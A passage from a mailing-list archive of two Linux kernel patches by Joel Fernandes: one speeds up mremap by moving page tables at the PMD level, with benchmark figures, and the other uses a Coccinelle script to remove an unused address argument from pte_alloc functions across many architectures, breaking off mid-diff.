Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1349 gmane.linux.kernel:2914493 gmane.linux.ports.mips.general:67285 gmane.linux.ports.ia64:29461 gmane.linux.ports.sh.devel:57737 gmane.linux.kernel.mm:206332 gmane.comp.emulators.kvm.arm.devel:19661 gmane.linux.ports.sparc:28713 gmane.linux.ports.hexagon:1993 gmane.linux.kernel.arc:4684 gmane.linux.ports.parisc:29262 gmane.linux.ports.alpha:5405 gmane.linux.ports.ppc64.devel:165207
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1349>

From: "Joel Fernandes (Google)" <joel@joelfernandes.org>

Android needs to mremap large regions of memory during memory management
related operations. The mremap system call can be really slow if THP is
not enabled. The bottleneck is move_page_tables, which is copying each
pte at a time, and can be really slow across a large map. Turning on THP
may not be a viable option, and is not for us. This patch speeds up the
performance for non-THP system by copying at the PMD level when possible.

The speed up is an order of magnitude on x86 (~20x). On a 1GB mremap,
the mremap completion times drops from 3.4-3.6 milliseconds to 144-160
microseconds.

Before:
Total mremap time for 1GB data: 3521942 nanoseconds.
Total mremap time for 1GB data: 3449229 nanoseconds.
Total mremap time for 1GB data: 3488230 nanoseconds.

After:
Total mremap time for 1GB data: 150279 nanoseconds.
Total mremap time for 1GB data: 144665 nanoseconds.
Total mremap time for 1GB data: 158708 nanoseconds.

Incase THP is enabled, the optimization is mostly skipped except in
certain situations.

Acked-by: Kirill A. Shutemov <kirill@shutemov.name>
Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
---

Note that since the bug fix in [1], we now have to flush the TLB every
PMD move. The above numbers were obtained on x86 with a flush done every
move. For arm64, I previously encountered performance issues doing a
flush everytime we move, however Will Deacon says [2] the performance
should be better now with recent release. Until we can evaluate arm64, I
am dropping the HAVE_MOVE_PMD config enable patch for ARM64 for now. It
can be added back once we finish the performance evaluation. Also of
note is that the speed up on arm64 with this patch but without the TLB
flush every PMD move is around 500x.

[1] https://bugs.chromium.org/p/project-zero/issues/detail?id=1695
[2] https://www.mail-archive.com/linuxppc-dev@lists.ozlabs.org/msg140837.html

 arch/Kconfig |  5 +++++
 mm/mremap.c  | 60 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 65 insertions(+)

diff --git a/arch/Kconfig b/arch/Kconfig
index e1e540ffa979..b70c952ac838 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -535,6 +535,11 @@ config HAVE_IRQ_TIME_ACCOUNTING
 	  Archs need to ensure they use a high enough resolution clock to
 	  support irq time accounting and then call enable_sched_clock_irqtime().
 
+config HAVE_MOVE_PMD
+	bool
+	help
+	  Archs that select this are able to move page tables at the PMD level.
+
 config HAVE_ARCH_TRANSPARENT_HUGEPAGE
 	bool
 
diff --git a/mm/mremap.c b/mm/mremap.c
index 7c9ab747f19d..7cf6b0943090 100644
--- a/mm/mremap.c
+++ b/mm/mremap.c
@@ -191,6 +191,50 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
 		drop_rmap_locks(vma);
 }
 
+static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
+		  unsigned long new_addr, unsigned long old_end,
+		  pmd_t *old_pmd, pmd_t *new_pmd)
+{
+	spinlock_t *old_ptl, *new_ptl;
+	struct mm_struct *mm = vma->vm_mm;
+	pmd_t pmd;
+
+	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
+	    || old_end - old_addr < PMD_SIZE)
+		return false;
+
+	/*
+	 * The destination pmd shouldn't be established, free_pgtables()
+	 * should have release it.
+	 */
+	if (WARN_ON(!pmd_none(*new_pmd)))
+		return false;
+
+	/*
+	 * We don't have to worry about the ordering of src and dst
+	 * ptlocks because exclusive mmap_sem prevents deadlock.
+	 */
+	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
+	new_ptl = pmd_lockptr(mm, new_pmd);
+	if (new_ptl != old_ptl)
+		spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
+
+	/* Clear the pmd */
+	pmd = *old_pmd;
+	pmd_clear(old_pmd);
+
+	VM_BUG_ON(!pmd_none(*new_pmd));
+
+	/* Set the new pmd */
+	set_pmd_at(mm, new_addr, new_pmd, pmd);
+	flush_tlb_range(vma, old_addr, old_addr + PMD_SIZE);
+	if (new_ptl != old_ptl)
+		spin_unlock(new_ptl);
+	spin_unlock(old_ptl);
+
+	return true;
+}
+
 unsigned long move_page_tables(struct vm_area_struct *vma,
 		unsigned long old_addr, struct vm_area_struct *new_vma,
 		unsigned long new_addr, unsigned long len,
@@ -237,7 +281,23 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
 			split_huge_pmd(vma, old_pmd, old_addr);
 			if (pmd_trans_unstable(old_pmd))
 				continue;
+		} else if (extent == PMD_SIZE && IS_ENABLED(CONFIG_HAVE_MOVE_PMD)) {
+			/*
+			 * If the extent is PMD-sized, try to speed the move by
+			 * moving at the PMD level if possible.
+			 */
+			bool moved;
+
+			if (need_rmap_locks)
+				take_rmap_locks(vma);
+			moved = move_normal_pmd(vma, old_addr, new_addr,
+					old_end, old_pmd, new_pmd);
+			if (need_rmap_locks)
+				drop_rmap_locks(vma);
+			if (moved)
+				continue;
 		}
+
 		if (pte_alloc(new_vma->vm_mm, new_pmd))
 			break;
 		next = (new_addr + PMD_SIZE) & PMD_MASK;
-- 
2.19.1.930.g4563a0d9d0-goog

From - Thu Nov 08 21:42:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH -next 1/3] mm: treewide: remove unused address argument from
 pte_alloc functions (v2)
Date: Fri,  2 Nov 2018 21:00:39 -0700
Lines: 1124
Approved: news@gmane.org
Message-ID: <20181103040041.7085-2-joelaf@google.com>
References: <20181103040041.7085-1-joelaf@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1541217556 16590 195.159.176.226 (3 Nov 2018 03:59:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Nov 2018 03:59:16 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.i
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Nov 03 04:59:06 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gIn5V-00045U-Kw
	for gla-linux-snps-arc@m.gmane.org; Sat, 03 Nov 2018 04:59:06 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Message-Id:Date:Subject:To:From:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=8+St4ucQeH1o5PXJdzh0jCiEYQDcHjInie1+F6cLMLs=; b=DYNnWnHL/MQHbc
	ZP1LhFolc1vj1nb9OFTKDi5WK2sZMI4jpTn/R55LqBiNJs+ad3whQfQxcxwURf0MqVw3Y+SGptsYH
	kgecQUNOf/lN7aB0hgybVSlOXp0J9+g0DUldBGN3UsEtmX3HW7G59tZMujVSgE5uSmGhQOEp0BTC/
	/q/+vMI/MypDOWmw0pKs0mhZ4oQWaufNUmas5m9KSwI327jDJwlfeUUY3yJsHDv6CEoCaggHqiqu0
	xMWg7W5Arz4w1Fb+A5IszayY9R0dddckY2c5/ulVnDTn6qbq7Bo6KrMKfyBpW1UMMnkAMRcZv51Em
	dO4k8pVi35dkHHxw7rhw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gIn7b-0006c8-D5; Sat, 03 Nov 2018 04:01:15 +0000
Original-Received: from mail-pg1-x543.google.com ([2607:f8b0:4864:20::543])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gIn7N-00065J-VO
 for linux-snps-arc@lists.infradead.org; Sat, 03 Nov 2018 04:01:11 +0000
Original-Received: by mail-pg1-x543.google.com with SMTP id k1-v6so1805092pgq.1
 for <linux-snps-arc@lists.infradead.org>; Fri, 02 Nov 2018 21:00:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=from:to:cc:subject:date:message-id:in-reply-to:references
 :mime-version:content-transfer-encoding;
 bh=pvDpo6BJgMU6f7EY0fNpr+O8Vd+ckRgIqfaJIF6+TZc=;
 b=YzG0wT3EvILuAHXdySa+4JMBdZ7QoSCjvX2YjY2IdDSowcYU0wJZ5VgZA+FAjUdpuG
 XG9EHWQB4jVkh5kfzV+1XJ1LaIzptim1roDmW4W5RT61FSHMFOY+WnVl67/Z9BLRFOxK
 s8L8l0Z2HhcHOm2pB6wC93oRAdHcNH7OB5zEQ=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references:mime-version:content-transfer-encoding;
 bh=pvDpo6BJgMU6f7EY0fNpr+O8Vd+ckRgIqfaJIF6+TZc=;
 b=f32VNphO+QJv9Eq3LML2XmOw984r6WEPXDDWKT47tH/VwW8B9PzRr79iIWMKPu4QgC
 CQlY+t8gWNlizvAy1y+uugXrvBP5/PZH8WbFcFnuJ/dlJYCjCWXme32HczjQYLZDAT+8
 jB6Y0hBRgBJ9QUGX+78FO59+GXO5X7sdwtYh53WSwk1y88+UsZo7V94HI+RWjSa3VlFJ
 wbV+jo3dgpfn4R+k/EXjvuNgOnIQjJ7kKaXOgAVMrrpENxSG3oHyyRIPhZ8XQ7AtzaOm
 K0eHp+i8Sb6IFR+qy2UMLSHzeAVAjeXMuGWIX5fE2mXnQYLcnsNwFWAUcxGEGbk6FRc+
 D53w==
X-Gm-Message-State: AGRZ1gKKinefK/C+golpv1Vehke09TYHtTyU5B44nLLQtqosRZYup8yN
 LBjwdGlIZ7lk3bFKqSAAH/oOlw==
X-Google-Smtp-Source: AJdET5d0oXbdi2pppFwDJ4eMnbmFw03/hLMdZ5HN9QYcNA3nn+V9tIZvIQLLS/773XEQ6rLN8+rycQ==
X-Received: by 2002:a63:ac46:: with SMTP id z6mr13129845pgn.162.1541217650719; 
 Fri, 02 Nov 2018 21:00:50 -0700 (PDT)
Original-Received: from joelaf.mtv.corp.google.com
 ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id x36-v6sm35836232pgl.43.2018.11.02.21.00.47
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Fri, 02 Nov 2018 21:00:49 -0700 (PDT)
X-Google-Original-From: Joel Fernandes <joelaf@google.com>
X-Mailer: git-send-email 2.19.1.930.g4563a0d9d0-goog
In-Reply-To: <20181103040041.7085-1-joelaf@google.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181102_210102_291342_7A8C333B 
X-CRM114-Status: GOOD (  16.51  )
X-Spam-Score: -0.2 (/)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-0.2 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/,
 no trust [2607:f8b0:4864:20:0:0:0:543 listed in]
 [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
 author's domain
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
 envelope-from domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
 valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4685 gmane.linux.kernel:2914494 gmane.linux.ports.mips.general:67286 gmane.linux.ports.ia64:29462 gmane.linux.ports.sh.devel:57738 gmane.linux.kernel.mm:206333 gmane.linux.ports.riscv:1350 gmane.comp.emulators.kvm.arm.devel:19662 gmane.linux.ports.sparc:28714 gmane.linux.ports.hexagon:1994 gmane.linux.ports.parisc:29263 gmane.linux.ports.alpha:5406 gmane.linux.ports.ppc64.devel:165208
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4685>

From: "Joel Fernandes (Google)" <joel@joelfernandes.org>

This series speeds up mremap(2) syscall by copying page tables at the
PMD level even for non-THP systems. There is concern that the extra
'address' argument that mremap passes to pte_alloc may do something
subtle architecture related in the future that may make the scheme not
work.  Also we find that there is no point in passing the 'address' to
pte_alloc since its unused. So this patch therefore removes this
argument tree-wide resulting in a nice negative diff as well. Also
ensuring along the way that the enabled architectures do not do anything
funky with 'address' argument that goes unnoticed by the optimization.

Build and boot tested on x86-64. Build tested on arm64.

The changes were obtained by applying the following Coccinelle script.
(thanks Julia for answering all Coccinelle questions!).
Following fix ups were done manually:
* Removal of address argument from  pte_fragment_alloc
* Removal of pte_alloc_one_fast definitions from m68k and microblaze.

// Options: --include-headers --no-includes
// Note: I split the 'identifier fn' line, so if you are manually
// running it, please unsplit it so it runs for you.

virtual patch

@pte_alloc_func_def depends on patch exists@
identifier E2;
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
type T2;
@@

 fn(...
- , T2 E2
 )
 { ... }

@pte_alloc_func_proto_noarg depends on patch exists@
type T1, T2, T3, T4;
identifier fn =~ "^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
@@

(
- T3 fn(T1, T2);
+ T3 fn(T1);
|
- T3 fn(T1, T2, T4);
+ T3 fn(T1, T2);
)

@pte_alloc_func_proto depends on patch exists@
identifier E1, E2, E4;
type T1, T2, T3, T4;
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
@@

(
- T3 fn(T1 E1, T2 E2);
+ T3 fn(T1 E1);
|
- T3 fn(T1 E1, T2 E2, T4 E4);
+ T3 fn(T1 E1, T2 E2);
)

@pte_alloc_func_call depends on patch exists@
expression E2;
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
@@

 fn(...
-,  E2
 )

@pte_alloc_macro depends on patch exists@
identifier fn =~
"^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
identifier a, b, c;
expression e;
position p;
@@

(
- #define fn(a, b, c) e
+ #define fn(a, b) e
|
- #define fn(a, b) e
+ #define fn(a) e
)

Suggested-by: Kirill A. Shutemov <kirill@shutemov.name>
Acked-by: Kirill A. Shutemov <kirill@shutemov.name>
Cc: Michal Hocko <mhocko@kernel.org>
Cc: Julia Lawall <Julia.Lawall@lip6.fr>
Cc: Kirill A. Shutemov <kirill@shutemov.name>
Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>

---
 arch/alpha/include/asm/pgalloc.h             |  6 +++---
 arch/arc/include/asm/pgalloc.h               |  5 ++---
 arch/arm/include/asm/pgalloc.h               |  4 ++--
 arch/arm64/include/asm/pgalloc.h             |  4 ++--
 arch/hexagon/include/asm/pgalloc.h           |  6 ++----
 arch/ia64/include/asm/pgalloc.h              |  5 ++---
 arch/m68k/include/asm/mcf_pgalloc.h          |  8 ++------
 arch/m68k/include/asm/motorola_pgalloc.h     |  4 ++--
 arch/m68k/include/asm/sun3_pgalloc.h         |  6 ++----
 arch/microblaze/include/asm/pgalloc.h        | 19 ++-----------------
 arch/microblaze/mm/pgtable.c                 |  3 +--
 arch/mips/include/asm/pgalloc.h              |  6 ++----
 arch/nds32/include/asm/pgalloc.h             |  5 ++---
 arch/nios2/include/asm/pgalloc.h             |  6 ++----
 arch/openrisc/include/asm/pgalloc.h          |  5 ++---
 arch/openrisc/mm/ioremap.c                   |  3 +--
 arch/parisc/include/asm/pgalloc.h            |  4 ++--
 arch/powerpc/include/asm/book3s/32/pgalloc.h |  4 ++--
 arch/powerpc/include/asm/book3s/64/pgalloc.h | 12 +++++-------
 arch/powerpc/include/asm/nohash/32/pgalloc.h |  4 ++--
 arch/powerpc/include/asm/nohash/64/pgalloc.h |  6 ++----
 arch/powerpc/mm/pgtable-book3s64.c           |  2 +-
 arch/powerpc/mm/pgtable_32.c                 |  4 ++--
 arch/riscv/include/asm/pgalloc.h             |  6 ++----
 arch/s390/include/asm/pgalloc.h              |  4 ++--
 arch/sh/include/asm/pgalloc.h                |  6 ++----
 arch/sparc/include/asm/pgalloc_32.h          |  5 ++---
 arch/sparc/include/asm/pgalloc_64.h          |  6 ++----
 arch/sparc/mm/init_64.c                      |  6 ++----
 arch/sparc/mm/srmmu.c                        |  4 ++--
 arch/um/include/asm/pgalloc.h                |  4 ++--
 arch/um/kernel/mem.c                         |  4 ++--
 arch/unicore32/include/asm/pgalloc.h         |  4 ++--
 arch/x86/include/asm/pgalloc.h               |  4 ++--
 arch/x86/mm/pgtable.c                        |  4 ++--
 arch/xtensa/include/asm/pgalloc.h            |  8 +++-----
 include/linux/mm.h                           | 13 ++++++-------
 mm/huge_memory.c                             |  8 ++++----
 mm/kasan/kasan_init.c                        |  2 +-
 mm/memory.c                                  | 17 ++++++++---------
 mm/migrate.c                                 |  2 +-
 mm/mremap.c                                  |  2 +-
 mm/userfaultfd.c                             |  2 +-
 virt/kvm/arm/mmu.c                           |  2 +-
 44 files changed, 97 insertions(+), 147 deletions(-)

diff --git a/arch/alpha/include/asm/pgalloc.h b/arch/alpha/include/asm/pgalloc.h
index ab3e3a8638fb..02f9f91bb4f0 100644
--- a/arch/alpha/include/asm/pgalloc.h
+++ b/arch/alpha/include/asm/pgalloc.h
@@ -52,7 +52,7 @@ pmd_free(struct mm_struct *mm, pmd_t *pmd)
 }
 
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_ZERO);
 	return pte;
@@ -65,9 +65,9 @@ pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pte_alloc_one(struct mm_struct *mm)
 {
-	pte_t *pte = pte_alloc_one_kernel(mm, address);
+	pte_t *pte = pte_alloc_one_kernel(mm);
 	struct page *page;
 
 	if (!pte)
diff --git a/arch/arc/include/asm/pgalloc.h b/arch/arc/include/asm/pgalloc.h
index 3749234b7419..9c9b5a5ebf2e 100644
--- a/arch/arc/include/asm/pgalloc.h
+++ b/arch/arc/include/asm/pgalloc.h
@@ -90,8 +90,7 @@ static inline int __get_order_pte(void)
 	return get_order(PTRS_PER_PTE * sizeof(pte_t));
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -102,7 +101,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long address)
+pte_alloc_one(struct mm_struct *mm)
 {
 	pgtable_t pte_pg;
 	struct page *page;
diff --git a/arch/arm/include/asm/pgalloc.h b/arch/arm/include/asm/pgalloc.h
index 2d7344f0e208..17ab72f0cc4e 100644
--- a/arch/arm/include/asm/pgalloc.h
+++ b/arch/arm/include/asm/pgalloc.h
@@ -81,7 +81,7 @@ static inline void clean_pte_table(pte_t *pte)
  *  +------------+
  */
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -93,7 +93,7 @@ pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/arm64/include/asm/pgalloc.h b/arch/arm64/include/asm/pgalloc.h
index 2e05bcd944c8..52fa47c73bf0 100644
--- a/arch/arm64/include/asm/pgalloc.h
+++ b/arch/arm64/include/asm/pgalloc.h
@@ -91,13 +91,13 @@ extern pgd_t *pgd_alloc(struct mm_struct *mm);
 extern void pgd_free(struct mm_struct *mm, pgd_t *pgdp);
 
 static inline pte_t *
-pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return (pte_t *)__get_free_page(PGALLOC_GFP);
 }
 
 static inline pgtable_t
-pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
diff --git a/arch/hexagon/include/asm/pgalloc.h b/arch/hexagon/include/asm/pgalloc.h
index eeebf862c46c..d36183887b60 100644
--- a/arch/hexagon/include/asm/pgalloc.h
+++ b/arch/hexagon/include/asm/pgalloc.h
@@ -59,8 +59,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
 	free_page((unsigned long) pgd);
 }
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-					 unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *pte;
 
@@ -75,8 +74,7 @@ static inline struct page *pte_alloc_one(struct mm_struct *mm,
 }
 
 /* _kernel variant gets to use a different allocator */
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	gfp_t flags =  GFP_KERNEL | __GFP_ZERO;
 	return (pte_t *) __get_free_page(flags);
diff --git a/arch/ia64/include/asm/pgalloc.h b/arch/ia64/include/asm/pgalloc.h
index 3ee5362f2661..c9e481023c25 100644
--- a/arch/ia64/include/asm/pgalloc.h
+++ b/arch/ia64/include/asm/pgalloc.h
@@ -83,7 +83,7 @@ pmd_populate_kernel(struct mm_struct *mm, pmd_t * pmd_entry, pte_t * pte)
 	pmd_val(*pmd_entry) = __pa(pte);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	void *pg;
@@ -99,8 +99,7 @@ static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
 	return page;
 }
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long addr)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	return quicklist_alloc(0, GFP_KERNEL, NULL);
 }
diff --git a/arch/m68k/include/asm/mcf_pgalloc.h b/arch/m68k/include/asm/mcf_pgalloc.h
index 12fe700632f4..4399d712f6db 100644
--- a/arch/m68k/include/asm/mcf_pgalloc.h
+++ b/arch/m68k/include/asm/mcf_pgalloc.h
@@ -12,8 +12,7 @@ extern inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 
 extern const char bad_pmd_string[];
 
-extern inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-	unsigned long address)
+extern inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	unsigned long page = __get_free_page(GFP_DMA);
 
@@ -32,8 +31,6 @@ extern inline pmd_t *pmd_alloc_kernel(pgd_t *pgd, unsigned long address)
 #define pmd_alloc_one_fast(mm, address) ({ BUG(); ((pmd_t *)1); })
 #define pmd_alloc_one(mm, address)      ({ BUG(); ((pmd_t *)2); })
 
-#define pte_alloc_one_fast(mm, addr) pte_alloc_one(mm, addr)
-
 #define pmd_populate(mm, pmd, page) (pmd_val(*pmd) = \
 	(unsigned long)(page_address(page)))
 
@@ -50,8 +47,7 @@ static inline void __pte_free_tlb(struct mmu_gather *tlb, pgtable_t page,
 
 #define __pmd_free_tlb(tlb, pmd, address) do { } while (0)
 
-static inline struct page *pte_alloc_one(struct mm_struct *mm,
-	unsigned long address)
+static inline struct page *pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page = alloc_pages(GFP_DMA, 0);
 	pte_t *pte;
diff --git a/arch/m68k/include/asm/motorola_pgalloc.h b/arch/m68k/include/asm/motorola_pgalloc.h
index 7859a86319cf..d04d9ba9b976 100644
--- a/arch/m68k/include/asm/motorola_pgalloc.h
+++ b/arch/m68k/include/asm/motorola_pgalloc.h
@@ -8,7 +8,7 @@
 extern pmd_t *get_pointer_table(void);
 extern int free_pointer_table(pmd_t *);
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	pte_t *pte;
 
@@ -28,7 +28,7 @@ static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 	free_page((unsigned long) pte);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
 	struct page *page;
 	pte_t *pte;
diff --git a/arch/m68k/include/asm/sun3_pgalloc.h b/arch/m68k/include/asm/sun3_pgalloc.h
index 11485d38de4e..1456c5eecbd9 100644
--- a/arch/m68k/include/asm/sun3_pgalloc.h
+++ b/arch/m68k/include/asm/sun3_pgalloc.h
@@ -35,8 +35,7 @@ do {							\
 	tlb_remove_page((tlb), pte);			\
 } while (0)
 
-static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
-					  unsigned long address)
+static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
 {
 	unsigned long page = __get_free_page(GFP_KERNEL);
 
@@ -47,8 +46,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
 	return (pte_t *) (page);
 }
 
-static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
-					unsigned long address)
+static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
 {
         struct page *page = alloc_pages(GFP_KERNEL, 0);
 
diff --git a/arch/microblaze/include/asm/pgalloc.h b/arch/microblaze/include/asm/pgalloc.h
index 7c89390c0c13..f4cc9ffc449e 100644
--- a/arch/microblaze/include/asm/pgalloc.h
+++ b/arch/microblaze/include/asm/pgalloc.h
@@ -108,10 +108,9 @@ static inline void free_pgd_slow(pgd_t *pgd)
 #define pmd_alloc_one_fast(mm, address)	({ BUG(); ((pmd_t *)1); })
 #define pmd_alloc_one(mm, address)	({ BUG(); ((pmd_t *)2); })
 
